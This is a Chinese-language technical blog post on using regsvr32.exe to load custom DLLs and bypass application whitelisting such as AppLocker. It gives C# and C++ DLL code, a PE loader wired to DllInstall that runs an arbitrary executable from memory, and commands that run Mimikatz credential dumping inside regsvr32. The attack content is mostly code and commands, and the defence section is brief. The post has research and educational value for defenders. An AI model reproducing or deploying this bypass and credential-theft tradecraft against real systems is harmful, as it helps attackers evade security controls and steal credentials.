Code Execution of Regsvr32.exe

0x00 前言


近日,Casey [email protected]在其博客分享了对regsvr32.exe的研究进展,通过regsvr32.exe加载dll不仅更加隐蔽,而且还能够实现Bypass AppLocker,很是神奇。
于是,我对此做了进一步的学习研究,所以本文在前半段会先介绍Casey Smith的研究进展,后半段分享一下我基于此做的进一步研究测试,希望能给大家启发,跟进最新技术。

Alt text

图片引用自http://subt0x10.blogspot.jp/2016/06/what-you-probably-didnt-know-about.html

0x01 简介
1、rundll32

通过rundll32.exe加载dll大家应该都比较熟悉,语法:

#!shellrundll32.exe nameofdll,entrypointfunction arguments

例如:

#!shellrundll32 a.dll,EntryPoint

表示调用EntryPoint

2、regsvr32

Regsvr32命令用于注册动态链接库文件,是 Windows 系统提供的用来向系统注册控件或者卸载控件的命令,以命令行方式运行。 语法:

#!shellregsvr32 [/u] [/s] [/n] [/i[:cmdline]] dllname 

参数:

#!shell/u卸载已安装的控件或DLL文件/s静默,不显示任何消息框/n指定不调用 DllRegisterServer,此选项必须与 /i 共同使用/i:cmdline调用 DllInstall 将它传递到可选的 [cmdline],在与 /u 共同使用时,它调用 dll 卸载dllname指定要注册的 dll 文件名

例如:

#!shellregsvr32 a.dll   

表示调用DllRegisterServer

#!shellregsvr32 /u a.dll    

表示调用DllUnregisterServer

#!shellregsvr32 /n /i a.dll     

表示调用DllInstall

0x02 使用c#编写dll

下面我们尝试编写可被regsvr32调用的dll

c# 默认不可以声明导出函数
但是可以通过添加UnmanagedExports实现
下载地址:

https://www.nuget.org/packages/UnmanagedExports/

1、测试环境Win 7 x64VisualStudio20122、流程

(1) 新建c#工程,类型选择类库

如图

Alt text

(2) 添加UnmanagedExports
设置编译平台为x86或者x64,
如图

Alt text

如果使用默认的Any CPU,在下一步的安装会报错,如图

Alt text

在Visual Studio控制面板选择TOOLS-Library Package Manager-Package Manager Console
输入Install-Package UnmanagedExports,进行安装

(3) 编写代码
Casey Smith在博客中分享了参考代码,地址为:

https://gist.githubusercontent.com/subTee/f6123584a3258783e497481690ccc38d/raw/0e3aad1d8f9fc6762491bda76a1a8baa948e8ca2/evil.cs

提取出关键代码为:

#!c[DllExport("DllRegisterServer", CallingConvention = CallingConvention.StdCall)]       public static void DllRegisterServer()       {           ProcessStartInfo info = new ProcessStartInfo();           info.FileName = "notepad.exe";           Process.Start(info);       }

这里定义了导出函数DllRegisterServer及其对应的功能

(4) 编译
.NET 版本选择4.0或者更高,编译成功

注:
如果使用中文系统进行开发,会出现如下错误:

#!shellc:userstestdocumentsvisual studio 2012ProjectstestdllpackagesUnmanagedExports.1.2.7toolsRGiesecke.DllExport.targets(58,3): error : (27) : error : syntax error at token '{' in:   {

这是由于UnmanagedExports不支持中文系统中的Unicode造成的,将系统的Unicode取消就好
选择控制面板-时间、语言和区域-区域和语言-管理-非Unicode程序的语言,将中文改为英文,重启系统

3、测试

(1) EntryPoint

#!shellrundll32 testdll.dll,EntryPoint

如图

Alt text

(2) DllRegisterServer

#!shellrundll32 testdll.dll,DllRegisterServer

or

#!shellregsvr32.exe testdll.dll

(3) DllUnregisterServer

#!shellrundll32 testdll.dll,DllUnregisterServer

or

#!shellregsvr32.exe /u testdll.dll

(4) DllInstall

#!shellrundll32 testdll.dll,DllInstall

or

#!shellregsvr32.exe /n /i testdll.dll
4、Execute Mimikatz inside of regsvr32.exe

下载地址:

https://gist.githubusercontent.com/subTee/c3d5030bb99aa3f96bfa507c1c184504/raw/24dc0f93f1ebdda7c401dd3890259fa70d23f75b/regsvr32-katz.cs

将mimikatz封装到dll中,通过regsvr32传入参数运行mimkatz

#!shellrundll32 katz.dll,EntryPoint log coffee exit

or

#!shellregsvr32 katz.dll log version exit
0x03 使用c++编写dll

Casey Smith是通过c#编写的dll,dll需要在对应版本的.NET环境才能正常运行,为了保证通用性,我采用了c++实现 下面介绍如何编写一个可被regsvr32加载的dll

1、添加导出函数

新建c++工程,创建一个dll项目 在主文件添加:

#!cvoid DllRegisterServer(){    MessageBox(NULL,"test","DllRegisterServer",MB_OK);}void DllUnregisterServer(){    MessageBox(NULL,"test","DllUnregisterServer",MB_OK);}void DllInstall(BOOL   bInstall, LPCWSTR pszCmdLine){    MessageBox(NULL,"test","DllInstall",MB_OK);}

添加导出函数声明:
添加文件类型:Text File
名称:同名文件.def
写入

#!shellEXPORTSDllRegisterServerDllUnregisterServerDllInstall

编译,然后测试导出函数的功能:

#!shellregsvr32 /s test.dllregsvr32 /s /u test.dllregsvr32 /s /n /i testdll.dll

如图

Alt text

DllInstall的参数说明如下:

https://msdn.microsoft.com/en-us/library/windows/desktop/bb759846%28v=vs.85%29.aspx?f=255&MSPPError=-2147217396

可知regsvr32可以通过/i传入cmd参数,下面来看看如何将cmd参数解析并传入我们自己的dll中

2、unicode转utf8

由DllInstall的参数说明可知pszCmdLine是LPCWSTR类型,这是一个指向unicode编码字符串的32位指针,所指向字符串是wchar型,而不是char型,实现接下来的功能需要先把传进来的参数pszCmdLine作一个转换,unicode转utf8,函数实现代码如下: unicode转utf8:

#!cchar* Unicode2Utf8(const char* unicode)  {      int len;      len = WideCharToMultiByte(CP_UTF8, 0, (const wchar_t*)unicode, -1, NULL, 0, NULL, NULL);      char *szUtf8 = (char*)malloc(len + 1);      memset(szUtf8, 0, len + 1);      WideCharToMultiByte(CP_UTF8, 0, (const wchar_t*)unicode, -1, szUtf8, len, NULL,NULL);      return szUtf8;  }  

补充: utf8转unicode:

#!cchar* Utf82Unicode(const char* utf, size_t *unicode_number)  {      if(!utf || !strlen(utf))      {          *unicode_number = 0;          return NULL;      }      int dwUnicodeLen = MultiByteToWideChar(CP_UTF8,0,utf,-1,NULL,0);      size_t num = dwUnicodeLen*sizeof(wchar_t);      wchar_t *pwText = (wchar_t*)malloc(num);      memset(pwText,0,num);      MultiByteToWideChar(CP_UTF8,0,utf,-1,pwText,dwUnicodeLen);      *unicode_number = dwUnicodeLen - 1;      return (char*)pwText;  } 
3、PE Loader

在对传入的参数正确解析后,可尝试通过内存加载对应的PE文件(也就是传入的cmd参数),PE Loader参考自Pe-Loader-Sample,功能还需完善 项目地址:

https://github.com/abhisek/Pe-Loader-Sample

完整调用的代码如下:

#!cvoid DllInstall(BOOL   bInstall, LPCWSTR pszCmdLine){    char *a=Unicode2Utf8((const char*)pszCmdLine);    PE_LDR_PARAM peLdr;    PeLdrInit(&peLdr);    PeLdrSetExecutablePath(&peLdr, a);    PeLdrStart(&peLdr);}
4、最终版本

编译生成dll,可通过regsvr32调用,并且由/i传入要内存加载的exe路径,此方法可绕过绝大部分的应用程序白名单拦截和主动防御 运行命令:

#!shellregsvr32 /s /n /i:c:testWin32Project1.exe test.dll

可在内存加载并运行文件:c:testWin32Project1.exe
演示如图

Alt text

完整测试工程代码已上传github:
https://github.com/3gstudent/regsvr32-test 注:
测试代码通过内存加载PE文件,如果遇到报错,需要进一步修改完善代码,这里面要学习的还有很多

0x04 防御

站在防御者的角度,想必大家在遇到系统正在运行进程rundll32.exe的时候,都会去检查rundll32的运行参数,那么,如果发现系统正在运行regsvr32.exe,当然也要去检查一下,这里提供两种简单的检查方法:

1、Task Manager

选择列-选中命令行
如图,可查看regsvr32.exe对应的命令行参数

Alt text

2、Process Explorer

查看进程-属性-Commandline
如图

Alt text

0x05 小结

以上介绍了如何开发可供Regsvr32加载运行的dll,并对Regsvr32的利用技巧做了总结,希望能给大家启发。 接下来,能否通过构造特殊的/i参数,找到系统正常dll的漏洞并加以利用,值得深入研究。